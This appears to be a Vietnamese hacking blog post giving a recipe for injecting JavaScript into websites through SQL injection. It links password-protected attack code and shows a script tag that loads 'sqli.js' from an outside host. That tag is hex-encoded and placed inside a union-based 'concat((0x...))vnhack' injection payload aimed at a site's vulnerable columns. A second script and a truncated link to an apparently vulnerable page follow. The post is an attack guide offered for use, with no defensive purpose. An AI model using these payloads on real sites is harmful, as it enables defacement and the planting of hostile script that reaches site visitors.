Bài liên quan
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpqjA_pOuQMcQci9KrPPBtcTj_GHTrCATAWnG_Zkn9IT9qWmG8RgoY3ApetDAQyjMI3Zs6DvHQyX0WUyYIcRy_dEUUe_Ul27xvENa0l_-2oG-6JHeXN9GiCykbOTdElLs9dtJw9bsZLkgj/s1600/2012-08-29_135105.png)
Download Code:
Quote:
http://www.mediafire.com/?457p1u9c9uv7cw7 pass: VNH |
-sử link js trong sript sau:
Quote:
<script src='http://link.com/sqli.js'></script> |
Quote:
<script src='http://thptquangha.com/sqli.js'></script> |
- ta được :
Quote:
3c736372697074207372633d27687474703a2f2f7468707471 75616e6768612e636f6d2f73716c692e6a73273e3c2f736372 6970743e |
- dùng nó trong thẻ sau:
concat((0x mã hex))vnhack
VD:
Quote:
concat((0x3c736372697074207372633d27687474703a2f2f 746870747175616e6768612e636f6d2f73716c692e6a73273e 3c2f7363726970743e))vnhack |
đã tìm được số lỗi. bạn chỉ việc chèn đoạn trên vào 1 trong các số lỗi đó. tiếp theo bạn tự tìm hiểu .
( cái này không hẳn site nào cũng khai thác được ).
-VD với js trên :
=======================================
II- Hoặc 1 js khác : cái này dễ nhìn hơn cái trên
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxsZ1_bOGjKt3PggIrWVKmnZN0Jea1fiVcii-6tiF_M6E4BXw6aLMSDYEAdymQVTLdDIM59VM6av4Bx_F8ljDrO9iZnm8dmXEpVMQ7shH4FG1r-1whV0c4-PhxgIxu93MpqoTJ1RKa5pc0/s1600/2012-08-29_135228.png)
download:
Quote:
http://kemlam.com/?content=detail&pr...,9,10,11,12,13
Post a Comment